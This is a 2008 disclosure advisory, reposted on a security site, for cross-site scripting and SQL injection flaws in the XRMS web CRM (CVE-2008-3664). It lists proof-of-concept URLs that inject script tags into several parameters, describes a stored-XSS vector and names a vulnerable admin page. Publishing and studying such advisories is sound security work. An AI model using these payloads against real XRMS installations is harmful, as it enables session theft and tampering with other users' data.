XRMS Multiple Cross Site Scripting (XSS) and SQL injection

Published
Credit
Risk
2008.09.04
Fabian Fingerle
Medium
CWE
CVE
Local
Remote
CWE-79
N/A
No
No

Multiple Cross Site Scripting (XSS) and SQL injection Vulnerabilities
in XRMS, CVE-2008-3664

References

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3664
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-3664
http://xrms.sourceforge.net

Description

XRMS is a web-based application for managing business entities such as
employees, customers, contacts, activities with those contacts, etc.
The application is vulnerable to simple Cross Site Scripting, which can
be used for several isues

Example

Assuming XRMS is installed on http://localhost/xrms/, anybody could
inject JavaScript with:
http://localhost/xrms/login.php?target="><script>alert(1);</script>
http://localhost/xrms/activities/some.php?title="><script>alert(1);</script>
http://localhost/xrms/companies/some.php?company_name="><script>alert(1);</script>
http://localhost/xrms/contacts/some.php?last_name="><script>alert(1);</script>
http://localhost/xrms/campaigns/some.php?campaign_title="><script>alert(1);</script>
http://localhost/xrms/opportunities/some.php?opportunity_title="><script>alert(1);</script>
http://localhost/xrms/cases/some.php?case_title="><script>alert(1);</script>
http://localhost/xrms/files/some.php?file_id="><script>alert(1);</script>
http://localhost/xrms/reports/custom/mileage.php?starting="><script>alert(1);</script>
...
A user could change their real name to <script>alert(1)</script>; will
be executed when the administrator looks at user list
A user could edit name/email of any user using SQL injection
vulnerbility in admin/users/self-2.php

Disclosure Timeline

2008-08-07 Vendor contacted
2008-09-04 Advisory published

CVE Information

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2008-XXXX to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org/), which standardizes names for
security problems.

Credits and copyright

This vulnerability was discovered by Fabian Fingerle (published with
help from Hanno Boeck).
This vulnerability relate to CVE-2008-1129
It's licensed under the creative commons attribution license.

Fabian Fingerle, 2008-09-04, http://www.fabian-fingerle.de

References:

http://seclists.org/fulldisclosure/2008/Sep/0078.html


See this note in RAW Version

 
Bugtraq RSS
Bugtraq
 
CVE RSS
CVEMAP
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn


Copyright 2017, cxsecurity.com